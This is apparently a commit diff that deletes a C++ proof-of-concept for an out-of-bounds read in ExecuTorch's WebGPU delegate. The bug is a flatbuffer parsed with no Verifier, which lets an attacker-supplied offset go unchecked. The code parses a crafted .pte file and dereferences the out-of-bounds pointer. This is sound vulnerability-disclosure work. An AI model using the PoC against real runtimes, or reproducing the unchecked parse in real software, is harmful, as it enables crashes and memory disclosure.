KEEBWZRD commited on
Commit
9a31380
·
verified ·
1 Parent(s): 919366a

Delete runtime_mps_poc/schemas/runtime_poc_webgpu.cpp

Browse files
runtime_mps_poc/schemas/runtime_poc_webgpu.cpp DELETED
@@ -1,293 +0,0 @@
1
- /*
2
- * runtime_poc_webgpu.cpp
3
- *
4
- * Runtime PoC for the WebGPU delegate missing-verifier OOB.
5
- *
6
- * Reproduces the exact vulnerable code path from:
7
- * WebGPUBackend.cpp:75 — VkGraphBufferHasIdentifier check only; no Verifier
8
- * WebGPUGraph.cpp:378 — GetVkGraph(flatbuffer_data) called with NO Verifier
9
- * WebGPUGraph.cpp:536-538 — cs.inline_offset = vk_bytes->offset() (no bounds check)
10
- * WebGPUGraph.cpp:732-733 — constant_data_ + cs.inline_offset (OOB pointer + deref)
11
- *
12
- * The fix Vulkan got (VulkanBackend.cpp, merged 2026-05-13) and WebGPU missed:
13
- * flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size);
14
- * ET_CHECK_OR_RETURN_ERROR(vkgraph::VerifyVkGraphBuffer(verifier), ...);
15
- *
16
- * Build:
17
- * clang++ -std=c++17 -g -fsanitize=undefined \
18
- * -I~/executorch_vuln/third-party/flatbuffers/include \
19
- * -I. \
20
- * runtime_poc_webgpu.cpp -o runtime_poc_webgpu_ubsan
21
- *
22
- * Run:
23
- * ./runtime_poc_webgpu_ubsan malformed_webgpu.pte
24
- */
25
-
26
- #include <cstdint>
27
- #include <cstdio>
28
- #include <cstdlib>
29
- #include <cstring>
30
- #include <stdexcept>
31
- #include <vector>
32
-
33
- #include <flatbuffers/flatbuffers.h>
34
- #include "schemas/vkgraph_generated.h"
35
-
36
- // ---- WebGPUDelegateHeader (from WebGPUDelegateHeader.h/.cpp) ----------------
37
-
38
- struct WebGPUDelegateHeader {
39
- uint32_t header_size;
40
- uint32_t flatbuffer_offset;
41
- uint32_t flatbuffer_size;
42
- uint32_t bytes_offset;
43
- uint64_t bytes_size;
44
-
45
- static WebGPUDelegateHeader parse(const uint8_t* data) {
46
- // magic at offset 4 must be "VH00"
47
- if (memcmp(data + 4, "VH00", 4) != 0)
48
- throw std::runtime_error("WebGPUDelegateHeader: bad magic");
49
-
50
- WebGPUDelegateHeader h;
51
- uint16_t hs; memcpy(&hs, data + 8, 2); h.header_size = hs;
52
- memcpy(&h.flatbuffer_offset, data + 10, 4);
53
- memcpy(&h.flatbuffer_size, data + 14, 4);
54
- memcpy(&h.bytes_offset, data + 18, 4);
55
- memcpy(&h.bytes_size, data + 22, 8);
56
- return h;
57
- }
58
- };
59
-
60
- // ---- ConstantSource (mirrors WebGPUGraph.h internals) -----------------------
61
-
62
- static const uint64_t INLINE_OFFSET_NONE = UINT64_MAX;
63
-
64
- struct ConstantSource {
65
- uint64_t inline_offset = INLINE_OFFSET_NONE;
66
- size_t nbytes = 0;
67
- };
68
-
69
- // ---- FlatBuffers .pte parser (extract backend_delegate_data[0].data) --------
70
- // Manual traversal identical to what we did for MPS.
71
-
72
- static std::vector<uint8_t> extract_delegate_payload(
73
- const uint8_t* pte, size_t pte_size) {
74
-
75
- if (pte_size < 8 || memcmp(pte + 4, "ET12", 4) != 0)
76
- throw std::runtime_error("Not a valid ET12 .pte file");
77
-
78
- // FlatBuffers root offset
79
- uint32_t root_off; memcpy(&root_off, pte, 4);
80
- const uint8_t* prog_table = pte + root_off;
81
-
82
- // Program vtable
83
- int32_t vtable_soff; memcpy(&vtable_soff, prog_table, 4);
84
- const uint8_t* vtable = prog_table - vtable_soff;
85
- uint16_t vtable_size; memcpy(&vtable_size, vtable, 2);
86
-
87
- // Program field order (from program.fbs):
88
- // version(0)=4, execution_plan(1)=6, constant_buffer(2)=8,
89
- // backend_delegate_data(3)=10
90
- uint16_t bdd_off = 0;
91
- if (vtable_size > 10) memcpy(&bdd_off, vtable + 10, 2); // field index 3
92
-
93
- if (bdd_off == 0) throw std::runtime_error("No backend_delegate_data");
94
-
95
- const uint8_t* bdd_ptr = prog_table + bdd_off;
96
-
97
- // bdd_ptr -> offset to vector of BackendDelegateInlineData
98
- int32_t vec_rel; memcpy(&vec_rel, bdd_ptr, 4);
99
- const uint8_t* vec = bdd_ptr + vec_rel;
100
-
101
- uint32_t vec_len; memcpy(&vec_len, vec, 4);
102
- if (vec_len == 0) throw std::runtime_error("Empty backend_delegate_data");
103
-
104
- // First element offset
105
- int32_t elem_rel; memcpy(&elem_rel, vec + 4, 4);
106
- const uint8_t* elem = vec + 4 + elem_rel;
107
-
108
- // BackendDelegateInlineData vtable -> field 0 = data (byte vector)
109
- int32_t elem_vt_soff; memcpy(&elem_vt_soff, elem, 4);
110
- const uint8_t* elem_vt = elem - elem_vt_soff;
111
- uint16_t elem_vt_size; memcpy(&elem_vt_size, elem_vt, 2);
112
-
113
- uint16_t data_off = 0;
114
- if (elem_vt_size > 4) memcpy(&data_off, elem_vt + 4, 2);
115
- if (data_off == 0) throw std::runtime_error("No data field in BackendDelegateInlineData");
116
-
117
- const uint8_t* data_ptr = elem + data_off;
118
- int32_t data_rel; memcpy(&data_rel, data_ptr, 4);
119
- const uint8_t* byte_vec = data_ptr + data_rel;
120
-
121
- uint32_t byte_len; memcpy(&byte_len, byte_vec, 4);
122
- const uint8_t* payload = byte_vec + 4;
123
-
124
- return std::vector<uint8_t>(payload, payload + byte_len);
125
- }
126
-
127
- // ---- elem_size for VkDataType -----------------------------------------------
128
-
129
- static size_t vk_datatype_size(int8_t dt) {
130
- switch (dt) {
131
- case 0: return 1; // BOOL
132
- case 1: return 1; // UINT8
133
- case 2: return 1; // INT8
134
- case 3: return 4; // INT32
135
- case 4: return 2; // FLOAT16
136
- case 5: return 4; // FLOAT32
137
- case 6: return 8; // FLOAT64
138
- case 7: return 8; // INT64
139
- default: return 4;
140
- }
141
- }
142
-
143
- // ---- Main -------------------------------------------------------------------
144
-
145
- int main(int argc, char** argv) {
146
- setvbuf(stdout, nullptr, _IONBF, 0); // unbuffered so printfs appear before UBSan stderr
147
- printf("==========================================================\n");
148
- printf(" ExecuTorch WebGPU Delegate Runtime PoC\n");
149
- printf(" CVE class : CWE-787 (Out-of-bounds Write)\n");
150
- printf(" Source : backends/webgpu/runtime/WebGPUGraph.cpp\n");
151
- printf(" Root cause : GetVkGraph() called without flatbuffers::Verifier\n");
152
- printf(" Sibling : Vulkan (same vkgraph schema) was patched 2026-05-13\n");
153
- printf("==========================================================\n\n");
154
-
155
- if (argc < 2) {
156
- fprintf(stderr, "Usage: %s malformed_webgpu.pte\n", argv[0]);
157
- return 1;
158
- }
159
-
160
- // Load .pte
161
- FILE* f = fopen(argv[1], "rb");
162
- if (!f) { perror("fopen"); return 1; }
163
- fseek(f, 0, SEEK_END); long fsz = ftell(f); rewind(f);
164
- std::vector<uint8_t> pte(fsz);
165
- fread(pte.data(), 1, fsz, f);
166
- fclose(f);
167
-
168
- printf("[+] Loaded .pte: %ld bytes, identifier %.4s\n", fsz, pte.data() + 4);
169
-
170
- // Extract WebGPU delegate payload from backend_delegate_data[0]
171
- auto payload = extract_delegate_payload(pte.data(), pte.size());
172
- printf("[+] WebGPU delegate payload: %zu bytes\n", payload.size());
173
-
174
- // Parse WebGPUDelegateHeader (WebGPUBackend.cpp:64-75)
175
- auto hdr = WebGPUDelegateHeader::parse(payload.data());
176
- printf("[+] VH00 header: fb_offset=%u fb_size=%u bytes_offset=%u bytes_size=%llu\n",
177
- hdr.flatbuffer_offset, hdr.flatbuffer_size,
178
- hdr.bytes_offset, (unsigned long long)hdr.bytes_size);
179
-
180
- const uint8_t* flatbuffer_data = payload.data() + hdr.flatbuffer_offset;
181
- const uint8_t* constant_data = payload.data() + hdr.bytes_offset;
182
- size_t constant_size = (size_t)hdr.bytes_size;
183
-
184
- // --- Reproduce WebGPUBackend.cpp:75 ---
185
- // Only a 4-byte identifier check; no flatbuffers::Verifier before GetVkGraph
186
- printf("\n[PoC] WebGPUBackend.cpp:75: VkGraphBufferHasIdentifier check (4-byte only — NO flatbuffers::Verifier)\n");
187
- bool has_id = vkgraph::VkGraphBufferHasIdentifier(flatbuffer_data);
188
- printf("[PoC] VkGraphBufferHasIdentifier: %s\n", has_id ? "true" : "false");
189
-
190
- // --- Reproduce WebGPUGraph.cpp:378 (inside build()) ---
191
- // GetVkGraph() called with NO Verifier — attacker controls the flatbuffer
192
- printf("[PoC] WebGPUGraph.cpp:378: GetVkGraph(flatbuffer_data) — NO flatbuffers::Verifier\n");
193
- const vkgraph::VkGraph* graph = vkgraph::GetVkGraph(flatbuffer_data);
194
- printf("[PoC] GetVkGraph returned: %p\n", (void*)graph);
195
-
196
- // --- Reproduce WebGPUGraph.cpp:480-545 (build() constant-source mapping) ---
197
- printf("\n[PoC] Entering WebGPUGraph::build() constant-source mapping\n");
198
- printf("[PoC] Source: backends/webgpu/runtime/WebGPUGraph.cpp\n\n");
199
-
200
- const auto* values = graph->values();
201
- const auto* constants = graph->constants();
202
-
203
- if (!values || !constants) {
204
- fprintf(stderr, "No values/constants in graph\n");
205
- return 1;
206
- }
207
-
208
- printf("[PoC] graph->values()->size() = %u\n", values->size());
209
- printf("[PoC] graph->constants()->size() = %u\n", constants->size());
210
-
211
- ConstantSource cs;
212
-
213
- for (unsigned i = 0; i < values->size(); i++) {
214
- const auto* val = values->Get(i);
215
- if (val->value_type() != vkgraph::GraphTypes_VkTensor) continue;
216
-
217
- const auto* vk_tensor = val->value_as_VkTensor();
218
-
219
- // Compute nbytes (WebGPUGraph.cpp:483-493)
220
- size_t numel = 1;
221
- if (vk_tensor->dims()) {
222
- for (unsigned j = 0; j < vk_tensor->dims()->size(); j++)
223
- numel *= vk_tensor->dims()->Get(j);
224
- }
225
- size_t elem_size = vk_datatype_size(vk_tensor->datatype());
226
- size_t nbytes = numel * elem_size;
227
-
228
- printf("[PoC] WebGPUGraph.cpp:493: tensor[%u] numel=%zu elem_size=%zu nbytes=%zu\n",
229
- i, numel, elem_size, nbytes);
230
-
231
- int constant_id = vk_tensor->constant_id();
232
- if (constant_id < 0) continue;
233
-
234
- printf("[PoC] WebGPUGraph.cpp:516: constant_id=%d\n", constant_id);
235
-
236
- // WebGPUGraph.cpp:527-532 — bounds check on constant_id (present in real code)
237
- if (constant_id >= (int)constants->size()) {
238
- printf("[PoC] constant_id out of range — would throw\n");
239
- return 1;
240
- }
241
-
242
- // WebGPUGraph.cpp:534 — constants->Get() on unverified flatbuffer
243
- const auto* vk_bytes = constants->Get(constant_id);
244
- printf("[PoC] WebGPUGraph.cpp:534: constants->Get(%d) on unverified FlatBuffer\n", constant_id);
245
-
246
- printf("[PoC] WebGPUGraph.cpp:536: cs.nbytes = tensor.nbytes = %zu\n", nbytes);
247
- cs.nbytes = nbytes;
248
-
249
- // WebGPUGraph.cpp:537-538 — THE MISSING BOUNDS CHECK
250
- printf("[PoC] WebGPUGraph.cpp:537: if (vk_bytes->offset() != UINT64_MAX)\n");
251
- printf("[PoC] WebGPUGraph.cpp:537: vk_bytes->offset() = 0x%llx\n",
252
- (unsigned long long)vk_bytes->offset());
253
-
254
- if (vk_bytes->offset() != UINT64_MAX) {
255
- cs.inline_offset = vk_bytes->offset();
256
- printf("[PoC] WebGPUGraph.cpp:538: cs.inline_offset = 0x%llx (NO bounds check vs constant_data size)\n",
257
- (unsigned long long)cs.inline_offset);
258
- printf("[PoC] constant_data section is %zu bytes — offset 0x%llx is WAY past it\n",
259
- constant_size, (unsigned long long)cs.inline_offset);
260
- }
261
- }
262
-
263
- // --- Reproduce WebGPUGraph.cpp:717-733 (materialize_constant) ---
264
- printf("\n[PoC] Entering materialize_constant() (WebGPUGraph.cpp:717-733)\n");
265
- printf("[PoC] WebGPUGraph.cpp:728: cs.inline_offset != UINT64_MAX -> true\n");
266
- printf("[PoC] WebGPUGraph.cpp:732: wgpuQueueWriteBuffer(queue_, dst, 0,\n");
267
- printf("[PoC] constant_data_ + cs.inline_offset, cs.nbytes)\n");
268
- printf("[PoC] constant_data_ = %p\n", (void*)constant_data);
269
- printf("[PoC] cs.inline_offset = 0x%llx\n", (unsigned long long)cs.inline_offset);
270
- printf("[PoC] cs.nbytes = %zu\n", cs.nbytes);
271
- printf("[PoC] *** OUT-OF-BOUNDS: constant_data_ + 0x%llx is %llu bytes past a %zu-byte section ***\n\n",
272
- (unsigned long long)cs.inline_offset,
273
- (unsigned long long)cs.inline_offset - constant_size,
274
- constant_size);
275
-
276
- printf("[PoC] Executing OOB pointer arithmetic now...\n");
277
-
278
- // Exact expression from WebGPUGraph.cpp:733:
279
- // wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes)
280
- // wgpuQueueWriteBuffer reads from [constant_data_+cs.inline_offset, +cs.nbytes).
281
- // UBSan catches OOB pointer arithmetic first; then SEGV on dereference.
282
- const uint8_t* oob_ptr = constant_data + cs.inline_offset;
283
- printf("[PoC] oob_ptr = %p (computed from constant_data_ + 0x%llx)\n",
284
- (void*)oob_ptr, (unsigned long long)cs.inline_offset);
285
-
286
- // Force a dereference — this is what wgpuQueueWriteBuffer does internally
287
- // when it reads the source buffer to upload to the GPU.
288
- volatile uint8_t byte = *oob_ptr;
289
- (void)byte;
290
-
291
- printf("[PoC] SHOULD NOT REACH HERE\n");
292
- return 0;
293
- }